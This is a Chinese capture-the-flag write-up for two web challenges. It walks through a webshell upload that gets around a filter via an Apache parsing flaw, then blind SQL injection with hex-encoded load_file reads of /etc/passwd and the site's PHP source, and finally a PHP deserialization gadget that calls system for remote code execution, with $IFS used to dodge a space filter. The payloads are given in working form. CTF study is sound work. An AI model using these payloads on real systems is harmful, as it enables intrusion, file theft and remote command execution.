WEB
手速要快
打开界面后发现要输入pasword,查看头部发现password,直接提交即可进入上传界面。
上传一句话木马,发现有waf尝试各种绕过,最后服务器版本是Apache/2.4.6,可以使用apache解析漏洞,后缀名改为Apache不认识的就可以了。
上传成功后菜刀没连上,这里使用命令执行,ls whoami等测试后发现flag在上层目录:
flag直接在上层目录flag{698539765730b69026796420b9201e03}
也可以参考smile师傅的文章
ezsql
打开页面,发现只有注册,登录功能,然后就是个人信息页面
http://101.71.29.5:10024/user/user.php?id=5
随手测试了一下,发现存在sql注入
http://101.71.29.5:10024/user/user.php?id=if(1,1,2)
http://101.71.29.5:10024/user/user.php?id=if(0,1,2)
但这里的过滤很坑,首先没有引号,其次是过滤没有回显,我无法通过
if(length('a'),1,2)
后来在随便测试的时候发现
if(hex(database())like(0x25),1,2)
回显正常,随即觉得应该有戏,但是由于过滤太多,依次尝试,发现可以load_file
if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)
尝试读了一下/etc/passwd
发现成功,于是想到读/var/www/html/index.php
然后得到文件内容
1 2 3 4 5 6 7 8
| <?php require_once('config/sys_config.php'); require_once('header.php'); if(isset($_COOKIE['CONFIG'])){ $config = $_COOKIE['CONFIG']; require_once('config/config.php'); } ?>
|
然后读/var/www/html/config.php
得到文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php $config = unserialize(base64_decode($config)); if(isset($_GET['p'])){ $p=$_GET['p']; $config->$p; } class Config{ private $config; private $path; public $filter; public function __construct($config=""){ $this->config = $config; echo 123; } public function getConfig(){ if($this->config == ""){ $config = isset($_POST['config'])?$_POST['config']:""; } } public function SetFilter($value){
$value=waf_exec($value); var_dump($value); if($this->filter){ foreach($this->filter as $filter){ $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value); } $this->filter = array(); }else{ return false; } return true; } public function __get($key){ $this->SetFilter($key); die(""); } }
|
发现是一波反序列化的操作,注意到函数
1 2 3 4 5
| public function __get($key){ $this->SetFilter($key); die(""); }
|
以及
1 2 3 4
| if(isset($_GET['p'])){ $p=$_GET['p']; $config->$p; }
|
发现可控值,跟踪SetFilter
发现
1 2 3 4 5
| $value=waf_exec($value); var_dump($value); if($this->filter){ foreach($this->filter as $filter){ $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
|
发现可进行RCE的位置,于是尝试构造
1 2 3
| $sky = new Config(); $sky->filter = array('system'); echo base64_encode(serialize($sky));
|
发现成功列目录,但是在尝试读取flag的时候出现问题
首先flag2333是个目录,然后/和空格被过滤,我们列出当前文件夹下所有文件
这里使用$IFS进行绕过空格
得到文件名,依旧无法cat,因为没有/,尝试通配符?,发现也被过滤
最后想到grep,如下图
即可无需目录名getflag